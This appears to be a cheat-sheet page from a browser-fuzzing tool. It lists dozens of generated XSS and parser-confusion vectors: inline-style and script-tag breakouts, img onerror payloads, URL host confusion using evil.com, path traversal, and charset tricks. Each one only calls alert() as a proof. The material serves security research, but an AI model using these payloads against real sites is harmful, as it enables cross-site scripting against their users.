Cheat Sheet
Generated payloads from fuzz test results. Filter by type, category, or browser.
Found 174 vectors with results
<div id="test" style="⟦00⟧onload="alert(1)">hello</div>Characters that can break out of an inline style with double quotes
<div id="test" style='0x00onload="alert(1)">hello</div>Characters that can break out of an inline style with single quotes
var targets=['"','\'','<','/','>','\\']0x0D
if (targets.includes('0x00'.toUpperCase())) {0x0D
alert(0+' (normal) (0x00 -> '+"0x00".toUpperCase()+')')0x0D
}0x0D
0x0D
if (targets.includes('0x00'.toLocaleUpperCase())) {0x0D
alert(0+' (locale) (0x00 -> '+"0x00".toLocaleUpperCase()+')')0x0D
}Checks for any special characters which are converted to something else when uppercased.
<div id="test" style="background-image: url(⟦00⟧;width:100%">hello</div>Characters that can break out of an inline style background-image url
if (new URL('https://www.example.com/0x00evil.com').host=='evil.com') {0x0D
alert('"https://www.example.com/0x00evil.com" -> "evil.com"')0x0D
}0x0D
0x0D
if (new URL('https://www.example.com0x00evil.com').host=='evil.com') {0x0D
alert('"https://www.example.com0x00evil.com" -> "evil.com"')0x0D
}<script>0x0D
x = "<!--<script>>"0x0D
</script>0x0D
<div title="</script><img src=data: onerror=alert(62)>"></div>This demonstrates that Shazzer now allows you to fuzz script tags.
<script>0x0D
x = "<!--<script0x0C>"0x0D
</script>0x0D
<div title="</script><img src=data: onerror=alert(12)>"></div>This demonstrates that Shazzer now allows you to fuzz script tags.
<script>0x0D
x = "<!--<script >"0x0D
</script>0x0D
<div title="</script><img src=data: onerror=alert(32)>"></div>This demonstrates that Shazzer now allows you to fuzz script tags.
<script>0x0D
x = "<!--<script0x0D>"0x0D
</script>0x0D
<div title="</script><img src=data: onerror=alert(13)>"></div>This demonstrates that Shazzer now allows you to fuzz script tags.
<script>0x0D
x = "<!--<script/>"0x0D
</script>0x0D
<div title="</script><img src=data: onerror=alert(47)>"></div>This demonstrates that Shazzer now allows you to fuzz script tags.
let img = document.createElement('img');0x0D
img.src = 'data:';0x0D
img.setAttribute('\onerror','alert(92)')0x0D
document.body.append(img);This vector shows which characters are allowed before an event name when using setAttribute.
new URL("https://x.se/long/..0x09/a").pathname.length > 4 ? false : alert(9)Check which characters are allowed inside a path traversal and the URL still traverses
new URL("https://x.se/long/..#/a").pathname.length > 4 ? false : alert(35)Check which characters are allowed inside a path traversal and the URL still traverses
new URL("https://x.se/long/..//a").pathname.length > 4 ? false : alert(47)Check which characters are allowed inside a path traversal and the URL still traverses
new URL("https://x.se/long/..?/a").pathname.length > 4 ? false : alert(63)Check which characters are allowed inside a path traversal and the URL still traverses
new URL("https://x.se/long/..\/a").pathname.length > 4 ? false : alert(92)Check which characters are allowed inside a path traversal and the URL still traverses
b1 = Math.floor(i / 256);0x0D
b2 = i % 256;0x0D
c = d.decode(new Uint8Array([0x1b, 0x24, 0x40, b1, b2])) 0x0D
if (c.split("").map((c) => c.charCodeAt(0)).some((i) => i < 127)) alert(i)Sequences of two bytes that when in the ISO-2022-JP charset and preceded by the JIS X 0201 1978 escape sequence, produce any ASCII character after decoding.
<a href="https://0x00.example.com/" id="test0"></a>Checks which characters are allowed before a domain name.
anchor.href='http://example.com';0x0D
anchor.protocol = 'http' + String.fromCodePoint(0) + ':';0x0D
if(!/http:/.test(anchor.protocol+''))alert(0)<img src=>{"[alert]"}<img/src/onerror=alert(1)>let chr = String.fromCodePoint(33);0x0D
escape(chr) !== encodeURIComponent(chr) && alert(33)This vector shows the differences between escape and encodeURIComponent
let chr = String.fromCodePoint(43);0x0D
escape(chr) !== encodeURIComponent(chr) && alert(43)This vector shows the differences between escape and encodeURIComponent
let chr = String.fromCodePoint(47);0x0D
escape(chr) !== encodeURIComponent(chr) && alert(47)This vector shows the differences between escape and encodeURIComponent
let chr = String.fromCodePoint(64);0x0D
escape(chr) !== encodeURIComponent(chr) && alert(64)This vector shows the differences between escape and encodeURIComponent
<script>"\\"-alert(92)//"</script>This vector demonstrates that certain characters consume backslashes when using a big5 charset
try {0x0D
standard_chars = [0x0D
`"`, `'`, `,`, `\n`, `\t`, `\r`, `}`, `{`, `\\`0x0D
];0x0D
0x0D
if (!standard_chars.includes(String.fromCodePoint(0))) { 0x0D
JSON.parse(`{"test":"0x00"}`);0x0D
}0x0D
} catch {0x0D
alert(0);0x0D
}0x0D
Characters that will break a JSON.parse() that do not include chars within standard JSON-format.
try {0x0D
standard_chars = [0x0D
`"`, `'`, `,`, `\n`, `\t`, `\r`, `}`, `{`, `\\`0x0D
];0x0D
0x0D
if (!standard_chars.includes(String.fromCodePoint(1))) { 0x0D
JSON.parse(`{"test":"0x01"}`);0x0D
}0x0D
} catch {0x0D
alert(1);0x0D
}0x0D
Characters that will break a JSON.parse() that do not include chars within standard JSON-format.
try {0x0D
standard_chars = [0x0D
`"`, `'`, `,`, `\n`, `\t`, `\r`, `}`, `{`, `\\`0x0D
];0x0D
0x0D
if (!standard_chars.includes(String.fromCodePoint(2))) { 0x0D
JSON.parse(`{"test":"0x02"}`);0x0D
}0x0D
} catch {0x0D
alert(2);0x0D
}0x0D
Characters that will break a JSON.parse() that do not include chars within standard JSON-format.
try {0x0D
standard_chars = [0x0D
`"`, `'`, `,`, `\n`, `\t`, `\r`, `}`, `{`, `\\`0x0D
];0x0D
0x0D
if (!standard_chars.includes(String.fromCodePoint(3))) { 0x0D
JSON.parse(`{"test":"0x03"}`);0x0D
}0x0D
} catch {0x0D
alert(3);0x0D
}0x0D
Characters that will break a JSON.parse() that do not include chars within standard JSON-format.
try {0x0D
standard_chars = [0x0D
`"`, `'`, `,`, `\n`, `\t`, `\r`, `}`, `{`, `\\`0x0D
];0x0D
0x0D
if (!standard_chars.includes(String.fromCodePoint(4))) { 0x0D
JSON.parse(`{"test":"0x04"}`);0x0D
}0x0D
} catch {0x0D
alert(4);0x0D
}0x0D
Characters that will break a JSON.parse() that do not include chars within standard JSON-format.